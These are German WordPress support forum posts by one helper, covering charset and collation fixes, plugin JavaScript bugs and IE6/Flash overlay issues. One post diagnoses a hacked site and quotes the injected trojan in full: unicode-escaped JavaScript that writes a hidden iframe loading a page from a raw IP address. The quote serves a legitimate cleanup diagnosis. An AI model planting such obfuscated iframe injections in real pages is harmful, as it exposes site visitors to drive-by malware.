Beiträge von codestyling


    Alles was vorher auf latin1_swedish_ci war steht nun auf utf-8_unicode_ci. Kann es sein, dass ein bestimmter Wert ohne Kollation-Spezifizierung, also eine leere Angabe, standardmäßig auf latin1 läuft? Müsste dann ja in der wp_posts-Tabelle sein, oder?

    Das hängt dann von der Kollation der Gesamten DB ab. Wenn eine DB angelegt wird, gibt man ebenfalls die default collation an und die wird benutzt, wenn an den Tabellen nix steht.
    Wenn du das samt Inhalt zwangsungestellt hast, dann ist der Japanische Inhalt jetzt Schrott und tatsächlich reale ? geworden. Dazu braucht man normalerweiser eine Konvertierung von ISO ... nach UTF8 wenn das in ISO schon drin stand.


    Ja, mit dem Browser-Zeichensatz habe ich auch schon erfolglos experimentiert. Da die Zeichen im Quelltext ja auch angezeigt werden, muss es zwangsläufig an WP liegen.

    ... Und wenn ich nicht hinsehe, ist der Mond nicht da. Also muss er dann weg sein! ...

    Wenn es bei hunderten/tausenden/millionen anderen WP Nutzern geht, wie kommst du dann darauf, das es an WP liegen muss ? Es gibt bestimmt noch Ursachen, über die wir noch nicht nachgedacht haben. Ich teste mal ein wenig rum und melde mich, wenn ich noch was gefunden hab.

    Ansonsten läuft bei mir WP in über 30 Sprachen sowohl Frontend als auch Backend, wenn ich das will. Momentan nur in 2 aber die anderen (inklusive RTL Sprachen wie Hebräisch oder Arabisch) gehen trotzdem und zwar alle in der gleichen Install und gleichzeitig.

    Dein Shadowbox Script scheint folgendes nachfragen zu wollen:

    Code
    http://wow.nrp.de/wp-includes/js/thickbox/loadingAnimation.gif
    http://wow.nrp.de/wordpress/undefined

    und kassiert dafür jeweils 404 NOT FOUND. Ich schätze mal, da ist was nicht korrekt in einem der Javascripts der Shadowbox. Undefined ist normalerweise der Zustand eine Javascript Variablen, die nicht existiert aber abgefragt wird.
    Es kann gut sein, das die ShadowBox dort eigentlich eine JS, CSS oder Image Datei nachladen will, was nicht geht und somit auf diesen Namen kommt. Somit kann es zu allen möglichen Folge-Erscheinungen kommen.

    Überprüft mal, ob es ein Update des Plugins gibt und vergleiche den Inhalt der Domain mit den lokal entpackten Plugin.

    Nach Seiteninhalt zu urteilen

    Code
    <a href="http://wordpress.org" title="Wordpress"><strong>Wordpress</strong> 2.3.2<br /> </a>

    und wegen des fehlenden X-Pingback Headers ist das eine WP 2.3.2 Version bzw 2.3.3 höchstens. Die 2.3.2 ist aber hochgradig anfällig und muss ersetzt werden, sonst passiert das immer wieder.

    Ja , hast einen Einbruch im Server gehabt. Der/die Hacker haben sich in mindestens einer deiner php Dateien vergriffen und einen Trojaner Code eingeschleust, der ganz unten auf der Seite zu finden ist ist.

    Code
    <!-- ~ --><!-- Nerzul --><script type="text/javascript">
    document.write('\u003c\u0069\u0066\u0072\u0061\u006d\u0065\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0035\u0038\u002e\u0036\u0035\u002e\u0032\u0033\u0035\u002e\u0034\u0031\u002f\u006c\u006c\u006c\u006c\u002f\u0073\u0074\u0064\u0073\u002f\u0067\u006f\u002e\u0070\u0068\u0070\u003f\u0073\u0069\u0064\u003d\u0031\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0031\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0031\u0020\u0073\u0074\u0079\u006c\u0065\u003d\u0022\u0076\u0069\u0073\u0069\u0062\u0069\u006c\u0069\u0074\u0079\u003a\u0068\u0069\u0064\u0064\u0065\u006e\u003b\u0070\u006f\u0073\u0069\u0074\u0069\u006f\u006e\u003a\u0061\u0062\u0073\u006f\u006c\u0075\u0074\u0065\u0022\u003e\u003c\u002f\u0069\u0066\u0072\u0061\u006d\u0065\u003e');
    </script><!-- Nerzul --><!-- ~ -->

    Dieser Javascript erzeugt dynamisch den iframe, den bestimmte Virensucher sofort erkennen und ankreiden. Da müssen schleunigst deine PHP Dateien untersucht und bereinigt werden.

    Allerdings kann man so fernschriftlich nicht viel machen, maximal weiter Tips geben.

    PS: Den daraus resultierenden iframe kann ich hier leider nicht einkleben, sonst wird dieser Forumsthread von Virensuchern blockiert.

    In deinem Link verweist du auf u.a. einen Eintrag von rebeccachamb, die das so ausdrückte:

    Zitat

    I clicked on the edit link and nothing happened except "#edit_timestamp" was added to the end of the URL.

    Dies ist ein klarer Fall von Javascript reagiert nicht auf den Click. Mehrere Ursachen und mehrere Lösungsmöglichkeiten:

    1. Lösche deinen Browserchache.
    2. Geh dann per FTP auf deine Domain und lösche alles im Ordner /wp-content/uploads/js_cache/
    3. öffne den Browser, geh auf Seite/Artikel editieren und drück nochmal re-load.

    Wenn es am Front/Backend Caching der Scripte lag, dann sollte es jetzt gehen. Wenn nicht:

    1. Deaktiviere alle Plugins, die Javascript Dateien dabei haben.
    2. Prüfe, ob du jetzt editieren kannst.
    3. Wenn ja, dann aktivier ein Plugin nach dem anderen und teste jeweils, ob editieren noch geht, dann findest du den Übeltäter.

    Wenn es auch nicht geht, wenn alle Plugin's deaktiviert wurden, dann empfehle ich einen neuen Upload des wp-includes Ordners (mindestens) im binary mode des FTP Programms! Danach nochmal die ersten 3 Punkte durchführen.

    Sollte aber jetzt spätestens gehen.

    Also für den Fall, dass du eine Windows PC hast, brauchts du die erweiterten Asiatischen Sprachen und die dazugehörigen Fonts.
    Das kannst du installieren über:
    Control Panel -> Regional Settings -> Language Tab -> Install Files for East Asien languages

    Deutsch etwa so (hab nur US Windows):
    Systemsteuerung -> Ländern/Spracheinstellung -> Sprache -> Installieren der Ost Asiatischen Sprachen

    Dann bekommst du eine Tonne neuer Fonts und die ? lösen sich meist auf, wenn wirklich sonst alles UTF-8 im Blog eingestellt ist.

    Sieht dann so aus, wenn man auch noch in Japanisch anmeldet:

    Für so etwas kannst du dir ja den Inhalt und die CSS Dateinen der Seite ansehen. Da findest du:

    style.css (line 1793)

    Da solltest du in die Logfiles schauen, was versucht wurde.
    Und eine Frage am Rande, ist das hier Absicht ?

    Code
    <!-- ukey="2B404B58" -->

    Kenn das nicht und hab keine Vorstellung, wer das brauchen könnte.
    Sieht mir nach User Key aus, hast du ggf. eine Version geupdated, die bereits übernommen (hacked) wurde ?

    Die Seite lädt bereits ein Patch fü IE 6 unter:

    Code
    http://www.17hippies.de/hiplounge/wp-content/themes/hipstyle_2.0/css/ie_patches/patch_layout_hipstyle.css

    mit diese Inhalt:

    Dann sollte der zusätzliche Patch

    Code
    <!--[if IE]> 
        <style type="text/css" media="screen">
        * html #TB_overlay { background-image:none; zoom:1; filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='http://www.17hippies.de/hiplounge/wp-content/themes/hipstyle_2.0/images/pix/bg_black_alpha75.png', sizingMethod='scale'); }
        </style>
    <![endif]-->

    den du rein genommen hast, obsolete und nur der wmode nötig sein.
    Aber soweit ich das so ohne IE6 sehen kann, ist der TB_overlay als position:fixed angegeben, das kann IE6 nicht. Das müsste man mit position:absolute umgehen, top/left mit 0 und die Breite/Höhe auf 100% stellen. Ist ein wenig kompliziert ohne IE6, der will nicht richtig auf Windows XP64.

    Mir scheint, ich hab's hingekriegt. Wenn ja, bist du mein Held des Tages :wink:

    Richtig, ich benutze ein Script (swfobject). Aber das ist ja ein ganz feines, und man hat Zugriff auf alle Flash-Parameter.
    Alles was zu tun war, war folgende Zeile einzugeben:

    Code
    so.addParam("wmode", "transparent");

    Super!

    Wie siehts denn auf Windows-Rechnern aus?

    Das sieht auch auf IE7 so aus, wie du es haben wolltest. Schön gedimmt und der Flash ebenfalls.

    IE6 kann ich nicht sagen, hab ich nicht.

    Wenn du mit fester Feed URL arbeiten kannst, dann so: